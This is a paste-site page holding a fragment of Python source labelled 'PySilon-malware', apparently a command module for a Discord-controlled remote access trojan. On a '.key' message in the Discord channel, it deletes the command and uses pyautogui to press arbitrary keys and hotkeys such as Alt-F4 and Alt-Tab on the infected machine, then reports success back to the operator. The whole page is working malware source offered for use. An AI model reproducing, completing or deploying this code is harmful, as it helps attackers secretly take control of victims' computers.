Untitled

mail@pastecode.io avatar
unknown
plain_text
a month ago
1.7 kB
3
Indexable
Never
import pyautogui
# end of imports

# on message
elif message.content[:4] == '.key':
    await message.delete()
    if message.content.strip() == '.key':
        embed = discord.Embed(title="📛 Error",description='```Syntax: .key <keys-to-press>```', colour=discord.Colour.red())
        embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
        reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
    else:
        keystrokes = message.content[5:]
        if "ALTTAB" in keystrokes:
            pyautogui.hotkey('alt', 'tab')
        elif "ALTF4" in keystrokes:
            pyautogui.hotkey('alt', 'f4')
        elif "ENTER" in keystrokes:
            pyautogui.hotkey('enter')
        elif "TAB" in keystrokes:
            pyautogui.hotkey('tab')
        elif "UP" in keystrokes:
            pyautogui.hotkey('up')
        elif "DOWN" in keystrokes:
            pyautogui.hotkey('down')
        elif "LEFT" in keystrokes:
            pyautogui.hotkey('left')
        elif "RIGHT" in keystrokes:
            pyautogui.hotkey('right')
        else:
            for key in keystrokes:
                pyautogui.press(key)
        embed = discord.Embed(title="🟢 Success",description=f'```All keys have been succesfully pressed```', colour=discord.Colour.green())
        embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
        reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
Leave a Comment